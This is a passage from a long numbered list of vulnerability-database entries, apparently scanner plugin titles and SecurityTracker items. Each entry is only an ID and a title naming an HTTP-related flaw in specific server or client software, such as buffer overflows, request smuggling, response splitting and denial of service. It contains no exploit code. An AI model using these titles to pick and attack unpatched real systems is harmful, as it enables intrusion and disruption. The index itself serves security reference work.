21965| [100777] Wing FTP Server HTTP Request Denial Of Service Vulnerability
21966| [100750] bozohttpd Security Bypass Vulnerability
21967| [100725] Apache HTTP Server Multiple Remote Denial of Service Vulnerabilities
21968| [100691] Weborf HTTP Header Processing Denial Of Service Vulnerability
21969| [100637] Zervit HTTP Server Source Code Information Disclosure Vulnerability
21970| [100620] OneHTTPD Directory Traversal Vulnerability
21971| [100617] PHP 'php_dechunk()' HTTP Chunked Encoding Integer Overflow Vulnerability
21972| [100585] HTTP File Server Security Bypass and Denial of Service Vulnerabilities
21973| [100560] uHTTP Server GET Request Directory Traversal Vulnerability
21974| [100553] Interchange HTTP Response Splitting Vulnerability
21975| [100548] Remote Help HTTP GET Request Format String Denial Of Service Vulnerability
21976| [100534] httpdx Multiple Remote Denial Of Service Vulnerabilities
21977| [100525] httpdx PNG File Handling Remote Denial of Service Vulnerability
21978| [100496] httpdx 'MKD' Command Directory Traversal Vulnerability
21979| [100491] httpdx 'USER' Command Remote Format String Vulnerability
21980| [100480] lighttpd Slow Request Handling Remote Denial Of Service Vulnerability
21981| [100459] XOOPS Arbitrary File Deletion and HTTP Header Injection Vulnerabilities
21982| [100449] Lighttpd 'mod_userdir' Case Sensitive Comparison Security Bypass Vulnerability
21983| [100447] Acme thttpd and mini_httpd Terminal Escape Sequence in Logs Command Injection Vulnerability
21984| [100421] httpdx Space Character Remote File Disclosure Vulnerability
21985| [100418] CoreHTTP CGI Support Remote Command Execution Vulnerability
21986| [100397] Monkey HTTP Daemon Invalid HTTP 'Connection' Header Denial Of Service Vulnerability
21987| [100379] Polipo Malformed HTTP GET Request Memory Corruption Vulnerability
21988| [100377] CoreHTTP 'src/http.c ' Buffer Overflow Vulnerability
21989| [100355] Xerver HTTP Response Splitting Vulnerability
21990| [100332] Serv-U Web Client HTTP Request Remote Buffer Overflow Vulnerability
21991| [100321] nginx 'ngx_http_process_request_headers()' Remote Buffer Overflow Vulnerability
21992| [100317] MapServer HTTP Request Processing Integer Overflow Vulnerability
21993| [100304] Acritum Femitter Server HTTP Request Remote File Disclosure Vulnerability
21994| [100278] BigAnt IM Server HTTP GET Request Buffer Overflow Vulnerability
21995| [100276] nginx HTTP Request Remote Buffer Overflow Vulnerability
21996| [100245] RaidenHTTPD Cross Site Scripting and Local File Include Vulnerabilities
21997| [100212] Lighttpd Trailing Slash Information Disclosure Vulnerability
21998| [100210] httpdx Multiple Commands Remote Buffer Overflow Vulnerabilities
21999| [100202] Matt Wright FormMail HTTP Response Splitting and Cross Site Scripting Vulnerabilities
22000| [100167] Zervit HTTP Server Malformed URI Remote Denial Of Service Vulnerability
22001| [100083] HTTP Proxy Server Detection
22002| [100057] MLdonkey HTTP Request Arbitrary File Download Vulnerability
22003| [100034] HTTP-Version Detection
22004| [80047] Abyss httpd crash
22005| [80010] HTTP NIDS evasion
22006| [72598] FreeBSD Ports: lighttpd
22007| [71965] Slackware Advisory SSA:2012-041-01 httpd
22008| [71958] Slackware Advisory SSA:2011-252-01 httpd
22009| [71947] Slackware Advisory SSA:2011-133-02 httpd
22010| [71945] Slackware Advisory SSA:2011-145-02 httpd
22011| [71941] Slackware Advisory SSA:2011-284-01 httpd
22012| [71553] Gentoo Security Advisory GLSA 201206-27 (mini_httpd)
22013| [70687] Debian Security Advisory DSA 2368-1 (lighttpd)
22014| [70584] FreeBSD Ports: lighttpd
22015| [69020] Gentoo Security Advisory GLSA 201006-17 (lighttpd)
22016| [68922] Slackware Advisory SSA:2011-041-03 httpd
22017| [68175] Slackware Advisory SSA:2010-240-02 httpd
22018| [67045] Slackware Advisory SSA:2010-067-01 httpd
22019| [66846] FreeBSD Ports: lighttpd
22020| [66806] Debian Security Advisory DSA 1987-1 (lighttpd)
22021| [66780] Slackware Advisory SSA:2010-024-01 httpd
22022| [66557] Fedora Core 12 FEDORA-2009-12606 (httpd)
22023| [66498] Fedora Core 10 FEDORA-2009-12604 (httpd)
22024| [66275] CentOS Security Advisory CESA-2009:1580 (httpd)
22025| [66274] CentOS Security Advisory CESA-2009:1579 (httpd)
22026| [64741] Fedora Core 11 FEDORA-2009-8812 (httpd)
22027| [64661] CentOS Security Advisory CESA-2009:1205 (httpd)
22028| [64571] Slackware Advisory SSA:2009-214-01 httpd
22029| [64531] Mandrake Security Advisory MDVSA-2009:188 (php4-eaccelerator)
22030| [64448] CentOS Security Advisory CESA-2009:1148 (httpd)
22031| [64269] CentOS Security Advisory CESA-2009:1108 (httpd)
22032| [64124] CentOS Security Advisory CESA-2009:1075 (httpd)
22033| [63417] FreeBSD Ports: varnish
22034| [63385] Fedora Core 9 FEDORA-2008-11923 (lighttpd)
22035| [61943] Gentoo Security Advisory GLSA 200812-04 (lighttpd)
22036| [61701] FreeBSD Ports: lighttpd
22037| [61476] Slackware Advisory SSA:2008-210-02 httpd
22038| [61364] Debian Security Advisory DSA 1540-3 (lighttpd)
22039| [61357] Debian Security Advisory DSA 1609-1 (lighttpd)
22040| [60834] FreeBSD Ports: lighttpd
22041| [60808] Gentoo Security Advisory GLSA 200804-08 (lighttpd)
22042| [60793] Debian Security Advisory DSA 1540-2 (lighttpd)
22043| [60786] Debian Security Advisory DSA 1540-1 (lighttpd)
22044| [60573] Debian Security Advisory DSA 1521-1 (lighttpd)
22045| [60513] Gentoo Security Advisory GLSA 200803-10 (lighttpd)
22046| [60499] Debian Security Advisory DSA 1513-1 (lighttpd)
22047| [60388] Slackware Advisory SSA:2008-045-01 httpd
22048| [58862] FreeBSD Ports: lighttpd
22049| [58861] FreeBSD Ports: lighttpd
22050| [58828] FreeBSD Ports: lighttpd
22051| [58805] FreeBSD Ports: lighttpd
22052| [58646] Gentoo Security Advisory GLSA 200709-16 (lighttpd)
22053| [58644] Debian Security Advisory DSA 1362-2 (lighttpd)
22054| [58581] Debian Security Advisory DSA 1362-1 (lighttpd)
22055| [58546] Gentoo Security Advisory GLSA 200708-11 (lighttpd)
22056| [58257] Gentoo Security Advisory GLSA 200705-07 (lighttpd)
22057| [57988] Gentoo Security Advisory GLSA 200701-28 (thttpd)
22058| [57684] Debian Security Advisory DSA 1205-2 (thttpd)
22059| [57168] Slackware Advisory SSA:2006-209-01 Apache httpd
22060| [56731] Slackware Advisory SSA:2006-129-01 Apache httpd
22061| [56729] Slackware Advisory SSA:2006-130-01 Apache httpd redux
22062| [55795] Debian Security Advisory DSA 883-1 (thttpd)
22063| [54853] Gentoo Security Advisory GLSA 200502-21 (lighttpd)
22064| [53377] Debian Security Advisory DSA 396-1 (thttpd)
22065| [52169] FreeBSD Ports: lighttpd
22066| [20225] Kerio WinRoute Firewall HTTP/HTTPS Management Detection
22067| [17231] CERN httpd CGI name heap overflow
22068| [17230] CERN HTTPD access control bypass
22069| [16313] RaidenHTTPD directory traversal
22070| [15642] Format string on HTTP header value
22071| [15641] Format string on HTTP header name
22072| [15588] Detect Apache HTTPS
22073| [15563] Abyss httpd DoS
22074| [15553] OmniHTTPd pro long POST DoS
22075| [15397] ICECast HTTP basic authorization DoS
22076| [14783] Snitz Forums 2000 HTTP Response Splitting
22077| [14656] MailEnable HTTPMail Service GET Overflow Vulnerability
22078| [14655] MailEnable HTTPMail Service Content-Length Overflow Vulnerability
22079| [14654] MailEnable HTTPMail Service Authorization Header DoS Vulnerability
22080| [14229] HTTP Directory Traversal (Windows)
22081| [12073] Sami HTTP Server v1.0.4
22082| [11801] Format string on HTTP method name
22083| [11720] S-HTTP detection
22084| [11715] Header overflow against HTTP proxy
22085| [11213] http TRACE XSS attack
22086| [11183] HTTP negative Content-Length buffer overflow
22087| [11174] HTTP negative Content-Length DoS
22088| [11171] HTTP unfinished line denial
22089| [11158] Novell NetWare HTTP POST Perl Code Execution Vulnerability
22090| [11149] HTTP login page
22091| [11130] BrowseGate HTTP headers overflows
22092| [11129] HTTP 1.1 header overflow
22093| [11127] HTTP 1.0 header overflow
22094| [11084] Infinite HTTP request
22095| [11078] HTTP header overflow
22096| [11077] HTTP Cookie overflow
22097| [11075] dwhttpd format string
22098| [11069] HTTP User-Agent overflow
22099| [11065] HTTP method overflow
22100| [11061] HTTP version number overflow
22101| [11040] HTTP TRACE
22102| [10930] HTTP Windows 98 MS/DOS device names DOS
22103| [10818] Alchemy Eye HTTP Command Execution
22104| [10799] IBM-HTTP-Server View Code
22105| [10763] Detect the HTTP RPC endpoint mapper
22106| [10759] Private IP address leaked in HTTP headers
22107| [10758] Check for VNC HTTP
22108| [10716] OmniPro HTTPd 2.08 scripts source full disclosure
22109| [10657] NT IIS 5.0 Malformed HTTP Printer Request Header Buffer Overflow Vulnerability
22110| [10523] thttpd ssi file retrieval
22111| [10498] Test HTTP dangerous methods
22112| [10107] HTTP Server type and version
22113|
22114| SecurityTracker - https://www.securitytracker.com:
22115| [1028825] Cisco Unified Operations Manager Input Validation Flaw Permits HTTP Header Injection Attacks
22116| [1028638] RSA Authentication Manager Writes Operating System, SNMP, and HTTP Plug-in Proxy Passwords in Clear Text to Log Files
22117| [1028602] IBM WebSphere Portal Input Validation Flaw Permits HTTP Response Splitting Attacks
22118| [1028546] Windows HTTP Stack Header Processing Flaw Lets Remote Users Deny Service
22119| [1028360] Asterisk HTTP POST Content-Length Processing Flaw Lets Remote Users Deny Service
22120| [1028231] Cisco Aironet HTTP Profiler Bug Lets Remote Users Deny Service
22121| [1028203] IBM HTTP Server (IHS) Input Validation Flaws in Optional Modules Permit Cross-Site Scripting Attacks
22122| [1028094] Cisco IOS Software HTTP Server Socket Handling Bug Lets Remote Users Execute Arbitrary Code
22123| [1027860] Windows IP-HTTPS Certificate Processing Flaw Lets Remote Users Bypass Security Restrictions
22124| [1027802] lighttpd Connection Header Processing Flaw Lets Remote Users Deny Service
22125| [1027690] IBM Tivoli Monitoring Web Server HTTP TRACE/TRACK Support Lets Remote Users Obtain Potentially Sensitive Information
22126| [1027463] PHP HTTP Response Splitting Header Injection Protection Can Be Bypassed Using Carriage Return Characters
22127| [1027343] Novell Remote Manager Off-by-one Error in 'httpstkd' Lets Remote Users Deny Service
22128| [1027318] Ruby on Rails Bug in 'with_http_digest' Methods Lets Remote Users Deny Service
22129| [1027165] Squid XMLHttpRequest Allows Remote Users to Obtain the Target User's Proxy Username and Password
22130| [1027146] Adobe ColdFusion Bug in Component Browser Lets Remote Users Conduct HTTP Response Splitting Attacks
22131| [1027008] Cisco ASA Bugs Let Remote Users Conduct HTTP Response Splitting and Denial of Service Attacks and Obtain Potentially Sensitive Information
22132| [1026924] nginx Buffer Overflow in ngx_http_mp4_module Lets Remote Users Execute Arbitrary Code
22133| [1026861] Cisco IOS Zone-Based Firewall IP/HTTP/H.323/SIP Bugs Let Remote Users Deny Service
22134| [1026827] nginx HTTP Response Processing Lets Remote Users Obtain Portions of Memory Contents
22135| [1026813] Asterisk Stack Overflow in HTTP Manager Lets Remote Users Execute Arbitrary Code
22136| [1026359] lighttpd Authentication Decoding Bug Lets Remote Users Deny Service
22137| [1026339] JBoss Enterprise SOA httpha-invoker Bug Lets Remote Users Bypass Access Controls
22138| [1026169] Microsoft Forefront Unified Access Gateway Input Validation Flaws Permits Cross-Site Scripting, HTTP Response Splitting, and Denial of Service Attacks
22139| [1026095] Apache Tomcat HTTP DIGEST Authentication Weaknesses Let Remote Users Conduct Bypass Attacks
22140| [1026061] Blue Coat Director HTTP Trace Processing Flaw Permits Cross-Site Scripting Attacks
22141| [1026054] Apache mod_proxy_ajp HTTP Processing Error Lets Remote Users Deny Service
22142| [1025960] Apache httpd Byterange Filter Processing Error Lets Remote Users Deny Service
22143| [1025955] Ruby on Rails Bugs Permit HTTP Response Splitting, Cross-Site Scripting, and SQL Injection
22144| [1025489] Python CGIHTTPServer Lets Remote Users View CGI Source Code
22145| [1025303] Apache Tomcat HTTP BIO Connector Error Discloses Information From Different Requests to Remote Users
22146| [1025252] Immunity Debugger HTTP Update Buffer Overflow Lets Remote Users Execute Arbitrary Code via Man-in-the-Middle Attacks
22147| [1025027] Apache Tomcat maxHttpHeaderSize Parsing Error Lets Remote Users Deny Service
22148| [1024913] Kerio WinRoute Firewall HTTP Cache Can Be Poisoned By Remote Users
22149| [1024683] Bugzilla Permits Cross-Site Scripting and HTTP Response Splitting Attacks and Discloses Certain Information to Remote Users
22150| [1024472] Cisco IOS SSL VPN HTTP Redirect Memory Leak Lets Remote Users Deny Serivce
22151| [1024453] HP System Management Homepage Input Validation Flaw Permits HTTP Response Splitting Attacks
22152| [1024301] Microsoft XML Core Services (MSXML) HTTP Response Processing Flaw Lets Remote Users Execute Arbitrary Code
22153| [1024204] Oracle WebLogic Plugin Encoding Error Lets Remote Users Inject HTTP Headers
22154| [1024168] Cisco Application Control Engine Newline Processing Flaw May Let Remote Users Modify HTTP Headers
22155| [1024167] Cisco Content Services Switch HTTP and ClientCert Headers Can Be Spoofed or Modified By Remote USers
22156| [1024155] Cisco ASA URL Processing Flaw Lets Remote Users Conduct HTTP Response Splitting Attacks
22157| [1024096] Apache mod_proxy_http May Return Results for a Different Request
22158| [1023960] Lexmark Printers HTTP Authorization Field Processing Bug Lets Remote Users Deny Service
22159| [1023818] uTorrent HTTP Basic Authentication Processing Flaw in WebUI Lets Remote Users Deny Service
22160| [1023783] Mozilla Firefox Chrome Privilege Escalation Exposed via Firebug XMLHttpRequestSpy Lets Remote Users Execute Arbitrary Code
22161| [1023755] Interchange Lets Remote Users Conduct HTTP Response Splitting Attacks
22162| [1023690] Opera Integer Overflow in Processing HTTP 'Content-Length' Reponses Lets Remote Users Execute Arbitrary Code
22163| [1023488] Sun Java System Web Server Heap Overflow in Processing HTTP Digest Authentication Requests Lets Remote Users Execute Arbitary Code
22164| [1023188] Novell eDirectory Buffer Overflow in HTTPSTK Login Page Lets Remote Authenticated Users Execute Arbitrary Code
22165| [1023118] KDE Bugs Let Remote Users Cause XMLHttpRequests to Be Issued or JavaScript to Be Executed
22166| [1022849] Novell eDirectory HTTP Request Processing Flaw Lets Remote Users Deny Service
22167| [1022784] Solaris sockfs HTTP Request Processing Bug Lets Remote Users Deny Service
22168| [1022592] Akamai Download Manager Stack Overflow in Processing HTTP Responses Lets Remote Users Execute Arbitrary Code
22169| [1022517] Ruby on Rails Bug in 'http_authentication.rb' Lets Remote Users Bypass Authentication
22170| [1022429] Google Chrome Buffer Overflow in Processing HTTP Responses Lets Remote Users Execute Arbitrary Code
22171| [1022272] IP Filter ippool Buffer Overflow in 'lib/load_http.c' May Let Local Users Gain Elevated Privileges
22172| [1022211] Mac OS X CFNetwork Heap Overflow in Processing HTTP Headers Lets Remote Users Execute Arbitrary Code
22173| [1022108] Sun Java System Delegated Administrator Bug Lets Remote Users Conduct HTTP Response Splitting Attacks
22174| [1022094] Mozilla Firefox XMLHttpRequest and XPCNativeWrapper.toString Bugs Let Remote Users Bypass Same-Origin Restrictions
22175| [1022041] Windows HTTP Services Bugs Let Remote Users Execute Arbitrary Code
22176| [1022015] Cisco ASA HTTP, TCP, H.323, and SQL*Net Processing Bugs Let Remote Users Deny Service
22177| [1021918] Java Runtime Environment (JRE) HTTP Server Bug Lets Remote Users Deny Service
22178| [1021838] WordPress MU Input Validation Hole in HTTP Host Header Permits Cross-Site Scripting Attacks
22179| [1021783] cURL/libcurl HTTP Redirect Processing May Let Remote Users Access Files
22180| [1021695] Novell QuickFinder Server Input Validation Flaws in HTTP POST Parameters Permit Cross-Site Scripting Attacks
22181| [1021684] Squid HTTP Request Processing Error Lets Remote Users Deny Service
22182| [1021668] Mozilla Firefox HTTPOnly Enforcement Flaw Lets Users Access Cookies
22183| [1021598] Cisco IOS Input Validation Flaw in HTTP Server Permits Cross-Site Scripting Attacks
22184| [1021555] SquirrelMail May Send Session Authentication Cookies via HTTP
22185| [1021427] Mozilla Firefox Permits Cross-Domain Responses to XMLHttpRequests to Be Accessed
22186| [1021286] WordPress Input Validation Hole in Processing 'HTTP_HOST' HTTP Header Permits Cross-Site Scripting Attacks
22187| [1021188] Mozilla Firefox nsXMLHttpRequest::NotifyEventListeners() Flaw Lets Remote Users Bypass Same-Origin Policies
22188| [1021185] Mozilla Firefox http-index-format MIME Parsing Buffer Overflow Lets Remote Users Execute Arbitrary Code
22189| [1021146] Adobe Flash Player HTTP Response Header Processing Flaw Permits Cross-Site Scripting Attacks
22190| [1021088] Cisco ASA Bug in Hardware Crypto Accelerator Support Lets Remote Users Deny Service
22191| [1020989] Novell eDirectory Management Toolbox HTTP Header Processing Bugs Let Remote Users Deny Service
22192| [1020929] Cisco IOS Firewall Bug in HTTP Application Inspection Control Lets Remote Users Deny Service
22193| [1020900] HTTP Anti Virus Proxy Bug in 'sockethandler.cpp' Lets Remote Users Deny Service
22194| [1020786] Novell eDirectory Heap Overflows in HTTP Protocol Stack Let Remote Users Execute Arbitrary Code
22195| [1020785] Novell eDirectory Input Validation Hole in HTTPSTK Permits Cross-Site Scripting Attacks
22196| [1020771] Red Hat Directory Server Buffer Overflow in Processing Accept-Language HTTP Header Values Lets Remote Users Execute Arbitrary Code
22197| [1020654] Ruby WEBrick HTTP Server split_header_value() Function Regex Bug Lets Remote Users Deny Service
22198| [1020622] Tomcat Input Validation Hole in HttpServletResponse.sendError() Permits Cross-Site Scripting Attacks
22199| [1020588] K9 Web Protection Buffer Overflows in Processing HTTP Responses From the Centralized Server Lets Remote Users Execute Arbitrary Code
22200| [1020587] K9 Web Protection Buffer Overflows in Processing HTTP Headers Lets Remote Users Execute Arbitrary Code
22201| [1020515] Citrix XenServer Input Validation Flaw in XenAPI HTTP Interface Permits Cross-Site Scripting Attacks
22202| [1020328] PHP File and Directory Function safe_mode Restrictions Can By Bypass With 'http://' Prefix
22203| [1020327] PHP posix_access() safe_mode Restrictions Can By Bypass With 'http://' Prefix
22204| [1020226] Microsoft Internet Explorer HTTP Request Header Bug May Let Remote Users Obtain Information in a Different Domain
22205| [1020098] IBM Lotus Domino Web Server Stack Overflow in Processing HTTP 'Accept-Language' Header Lets Remote Users Execute Arbitrary Code
22206| [1019836] Novell eDirectory HTTP Header Processing Lets Remote Users Deny Service
22207| [1019783] Novell eDirectory HTTP Request Procesing Bug Lets Remote Users Deny Service
22208| [1019703] Mozilla Firefox URL Bug Lets Remote Users Spoof HTTP Referer Values in Certain Cases
22209| [1019679] Asterisk Predictable Session IDs May Let Remote Users Hijack HTTP Manager Sessions
22210| [1019536] Squid Analysis Report Generator Buffer Overflow in Processing HTTP User-Agent and Access Logs Lets Remote Users Execute Arbitrary Code
22211| [1019522] Trend Micro OfficeScan HTTP Request Parameter Processing Bugs Let Remote Users Deny Service
22212| [1019443] WebLogic Servlets May Grant Access to Remote Users Based on Modified HTTP Request Header Values
22213| [1019408] Cisco Unified IP Phone Can Be Crashed By Remote Users Sending an HTTP Request Packet
22214| [1019370] Webmin Input Validation Hole in Processing HTTP Referer Values Permits Cross-Site Scripting Attacks
22215| [1019178] QuickTime Buffer Overflow in Processing HTTP 404 Response Messages Lets Remote Users Execute Arbitrary Code
22216| [1019116] Adobe Flash Player Bugs Let Remote Users Execute Arbitrary Code, Scan Ports, and Conduct HTTP Request Splitting and Cross-Site Scripting Attacks
22217| [1019030] Apache Input Validation Hole in Default HTTP 413 Error Page Permits Cross-Site Scripting Attacks
22218| [1019017] Red Hat Content Accelerator Kernel Patch open(O_ATOMICLOOKUP) Function Lets Local Users Deny Service
22219| [1018988] Wireshark Wireshark MP3, DNP, SSL, ANSI MAP, Firebird/Interbase, NCP, HTTP, MEGACO, DCP ETSI, OS/400, PPP, Bluetooth SDP, and RPC Portmap Bugs Let Remote Users Deny Service
22220| [1018825] Cisco Firewall Service Module HTTPS and MGCP Processing Bugs Let Remote Users Deny Service
22221| [1018659] Novell iChain HTTP Content Scanning Can Be Bypassed Using Full-Width Unicode Content
22222| [1018553] Streamripper Buffer Overflows in httplib_parse_sc_header() Let Remote Users Execute Arbitrary Code
22223| [1018504] Sun Java System Web Server Redirect URL Encoding Bug Lets Remote Users Conduct HTTP Response Splitting Attacks
22224| [1018491] Mac OS X CFNetwork Bugs Let Remote Users Execute Arbitrary FTP Commands and Conduct HTTP Response Splitting Attacks
22225| [1018315] Wireshark DHCP/BOOTP, MMS, SSL, DCP ETSI, iSeries, and HTTP Chunked Response Bugs Let Remote Users Deny Service
22226| [1018304] Apache HTTPD scoreboard Protection Flaw Lets Local Users Terminate Arbitrary Processes
22227| [1018303] Apache HTTPD mod_cache May Let Remote Users Deny Service
22228| [1018283] RaidenHTTPD Input Validation Hole Permits Cross-Site Scripting Attacks
22229| [1018023] PHP Buffer Overflow in make_http_soap_request() May Let Remote Users Execute Arbitrary Code
22230| [1017969] Microsoft Internet Explorer Digest Authentication Bug Lets Remote Users Conduct HTTP Request Splitting Attacks
22231| [1017968] Mozilla Firefox Digest Authentication Bug Lets Remote Users Conduct HTTP Request Splitting Attacks
22232| [1017932] Novell GroupWise WebAccess Buffer Overflow in Processing HTTP Basic Authentication Lets Remote Users Execute Arbitrary Code
22233| [1017840] IBM Tivoli Provisioning Manager Memory Corruption Error in Processing HTTP POST Requests May Let Remote Users Execute Arbitrary Code
22234| [1017806] IBM WebSphere CRLF Validation Bug Permits HTTP Response Splitting Attacks
22235| [1017586] Blue Coat WinProxy Heap Overflow in Processing HTTP CONNECT Requests May Let Remote Users Execute Arbitrary Code
22236| [1017581] Wireshark Bugs in TCP, HTTP, IEEE 802.11, and LLT Dissectors Let Remote Users Deny Service
22237| [1017432] Http explorer Lets Remote Users Traverse the Directory on the Target System
22238| [1017324] Sun Java System Web Proxy Server Lets Remote Users Conduct HTTP Request Smuggling Attacks
22239| [1017323] Sun Java System Web Server Lets Remote Users Conduct HTTP Request Smuggling Attacks
22240| [1017322] Sun Java Application Server Lets Remote Users Conduct HTTP Request Smuggling Attacks
22241| [1017129] Wireshark (Ethereal) Bugs in HTTP, LDAP, XOT, WBXML, and MIME Multipart Dissectors Let Remote Users Deny Service
22242| [1017088] SHTTPD Buffer Overflow Lets Remote Users Execute Arbitrary Code
22243| [1017078] Adobe Flash Player Plugin Lets Remote Users Injection Arbitrary HTTP Header Data
22244| [1017007] TorrentFlux Missing Input Validation in HTTP User-Agent Permits Cross-Site Scripting Attacks
22245| [1016971] McAfee ePolicy Orchestrator Buffer Overflow in Processing HTTP Source Headers Lets Remote Users Execute Arbitrary Code
22246| [1016970] McAfee ProtectionPilot Buffer Overflow in Processing HTTP Source Headers Lets Remote Users Execute Arbitrary Code
22247| [1016731] Microsoft Internet Explorer URL Buffer Overflow in Processing HTTP 1.1 Protocol with Compression Lets Remote Users Execute Arbitrary Code
22248| [1016569] IBM HTTP Server (IHS) Lack of Input Validation in Expect Header May Permit Cross-Site Scripting Attacks
22249| [1016508] Invision Power Board Lack of Validation of HTTP Client IP Value Lets Remote Users Inject SQL Commands
22250| [1016506] Microsoft Internet Security and Acceleration Server HTTP File Exentsion Filter Can Be Bypassed By Remote Users
22251| [1016239] WinGate Buffer Overflow in HTTP Proxy Lets Remote Users Execute Arbitrary Code
22252| [1016214] Mozilla Thunderbird Bugs Permit Arbitrary Code Execution, Cross-Site Scripting, and HTTP Response Smuggling
22253| [1016202] Mozilla Firefox Bugs Permit Arbitrary Code Execution, Cross-Site Scripting, and HTTP Response Smuggling
22254| [1016058] Symantec Gateway Security HTTP Proxy May Disclose Internal NAT Addresses
22255| [1016057] Symantec Enterprise Firewall HTTP Proxy May Disclose Internal NAT Addresses
22256| [1016030] zawhttpd Can Be Crashed By Remote Users
22257| [1015978] Ruby HTTP/XMLRPC Server Lets Remote Users Block Connections
22258| [1015870] Cisco 11500 Content Services Switch HTTP Compression Bug Lets Remote Users Deny Service
22259| [1015863] Kaffeine Buffer Overflow in http_peek() When Fetching Playlists Lets Remote Users Execute Arbitrary Code
22260| [1015858] AN HTTPD Discloses Script Source Code to Remote Users
22261| [1015857] IBM WebSphere Lets Remote Users Deny Service By Sending Large HTTP Header Values
22262| [1015779] Dwarf HTTP Server Discloses JSP Source Code and Permits Cross-Site Scripting Attacks
22263| [1015713] Apple Safari JavaScript Buffer Overflow Lets Remote Users Execute Arbitrary Code and HTTP Redirect Bug Lets Remote Users Access Files
22264| [1015703] lighttpd Discloses Script Source Code to Remote Users
22265| [1015702] SAP Web Application Server Lets Remote Users Inject Data into HTTP Responses
22266| [1015546] Cisco VPN 3000 Concentrator Bug in HTTP Service Lets Remote Users Deny Service
22267| [1015511] TippingPoint Intrusion Prevention System HTTP Processing Lets Remote Users Deny Service
22268| [1015484] PHP Input Validation Error in Session ID Values Permits HTTP Response Splitting Attacks
22269| [1015432] raSMP Input Validation Flaw in HTTP User-Agent Field Permits Cross-Site Scripting Attacks
22270| [1015420] Hitachi Business Logic - Container Input Validation Holes Permit SQL Injection, Cross-Site Scripting, and HTTP Response Splitting Attacks
22271| [1015403] httprint Input Validation Error in 'Server' Field Lets Remote Users Injection Scripting Code or Deny Service
22272| [1015376] Microsoft IIS Lets Remote Users Deny Service or Execute Arbitrary Code With Malformed HTTP GET Requests
22273| [1015362] Watchfire AppScan Buffer Overflow in Processing HTTP 401 Response Messages Lets Remote Users Execute Arbitrary Code
22274| [1015350] Microsoft Internet Explorer Bug in Using HTTPS Proxies May Disclose Web URLs to Remote Users
22275| [1015275] Cisco IOS HTTP Server Input Validation Hole in Buffers Command Permits Cross-Site Scripting Attacks
22276| [1015213] phpMyAdmin 'libraries/header_http.inc.php' Lets Remote Users Conduct HTTP Response Splitting Attacks
22277| [1015174] SAP Web Application Server Input Validation Holes Permit HTTP Response Splitting, Cross-Site Scripting, and Phishing Attacks
22278| [1015112] Solaris Management Console Enables HTTP TRACE Support By Default
22279| [1015104] Snoopy Input Validation Hole in _httpsrequest() Lets Remote Execute Arbitrary Commands
22280| [1015046] GFI MailSecurity Web Module Buffer Overflow in Processing HTTP Headers Lets Remote Users Execute Arbitrary Code
22281| [1014506] Small HTTP Server FTP Service Lets Remote Authenticated Users Write to Arbitrary Files
22282| [1014427] MailEnable Professional Flaw in HTTPMail Service May Let Remote Users Execute Arbitrary Code
22283| [1014369] SunONE Web Server May Allow Remote Users to Conduct HTTP Response Smuggling Attacks
22284| [1014368] Oracle Application Server Web Server May Allow Remote Users to Conduct HTTP Response Smuggling Attacks
22285| [1014367] IBM WebSphere May Allow Remote Users to Conduct HTTP Response Smuggling Attacks
22286| [1014366] BEA WebLogic May Allow Remote Users to Conduct HTTP Response Smuggling Attacks
22287| [1014365] Tomcat May Allow Remote Users to Conduct HTTP Response Smuggling Attacks
22288| [1014364] Microsoft Internet Information Server May Allow Remote Users to Conduct HTTP Response Smuggling Attacks
22289| [1014360] Oracle Application Server Web Cache Lets Remote Users Conduct HTTP Request Smuggling Attacks
22290| [1014359] DeleGate Proxy Lets Remote Users Conduct HTTP Request Smuggling Attacks
22291| [1014358] Sun Java System Web Proxy Server Lets Remote Users Conduct HTTP Request Smuggling Attacks
22292| [1014357] Check Point FireWall-1 HTTP Request Smuggling May Let Remote Users Bypass Web Intelligence Features
22293| [1014356] Microsoft ISA Server May Accept HTTP Authentication Even When SSL Is Required
22294| [1014350] Squid HTTP Header Processing Lets Remote Users Smuggle HTTP Requests
22295| [1014323] Apache Chunked Transfer-Encoding and Content-Length Processing Lets Remote Users Smuggle HTTP Requests
22296| [1014310] ASP Nuke Input Validation Holes Permit SQL Injection, HTTP Response Splitting, and Cross-Site Scripting Attacks
22297| [1014285] UBBThreads Multiple Input Validation Holes Permit Cross-Site Scripting, SQL Injection, and HTTP Response Splitting Attacks
22298| [1014263] MercuryBoard Input Validation Hole in HTTP User-Agent Permits SQL Injection
22299| [1014239] Opera XMLHttpRequest Access Controls Can By Bypassed By Remote Users
22300| [1013923] Orenosv HTTP/FTP Server FTP Command Buffer Overflow Lets Remote Users Crash the Server and HTTP SSI Buffer Overflow May Let Local Users Execute Arbitrary Code
22301| [1013910] Squid http_access Results May Be Unexpected Due to Configuration Errors
22302| [1013839] Lotus Domino @SetHTTPHeader Permits HTTP Response Splitting Attacks
22303| [1013835] Safari Can Be Crashed With Long HTTPS URL
22304| [1013802] SqWebMail Input Validation Hole in 'redirect' Parameter Permits HTTP Response Splitting Attacks
22305| [1013801] MaxDB HTTP Request '%' Buffer Overflow Lets Remote Users Execute Arbitrary Code
22306| [1013786] MailEnable HTTPMail 'Authorization' Header Lets Remote Users Execute Arbitrary Code
22307| [1013726] PHP-Nuke Input Validation Hole in Surveys Module Permits HTTP Response Splitting Attacks
22308| [1013709] Axel Buffer Overflow in Processing HTTP Location Values Lets Remote Users Execute Arbitrary Code
22309| [1013666] AN HTTP Server 'cmdIS.DLL' Buffer Overflow Lets Local Users Execute Arbitrary Code and Remote Users Conduct Cross-Site Scripting Attacks
22310| [1013557] Trillian Buffer Overflow in Processing HTTP Response Headers May Let Remote Users Execute Arbitrary Code
22311| [1013514] Phorum Input Validation'search.php' HTTP Response Splitting
22312| [1013370] HTTP Anti Virus Proxy May Not Detect Viruses in Certain Archives
22313| [1013334] RaidenHTTPD Discloses PHP Source Code and Lets Remote Users Execute Arbitrary Code
22314| [1013331] CuteNews Input Validation Holes in HTTP Header Parameters Let Remote Users Conduct Cross-Site Scripting Attacks
22315| [1013307] KNet HTTP GET Request Buffer Overflow Lets Remote Users Execute Arbitrary Code
22316| [1013191] Sami HTTP Server Input Validation Holes Disclose Files to Remote Users and Let Remote Users Crash the Service
22317| [1013182] HP HTTP Server Buffer Overflow Lets Remote Users Execute Arbitrary Code
22318| [1013088] RaidenHTTPD Input Validation Flaw Discloses Files to Remote Users
22319| [1012992] Squid Error in Parsing HTTP Content-Length Headers May Let Remote Users Poison the Cache
22320| [1012948] MaxDB sapdbwa_GetUserData() and HTTP Header Bugs Lets Remote Users Deny Service
22321| [1012865] OpenBSD httpd mod_include Local Buffer Overflow Has Unspecified Impact
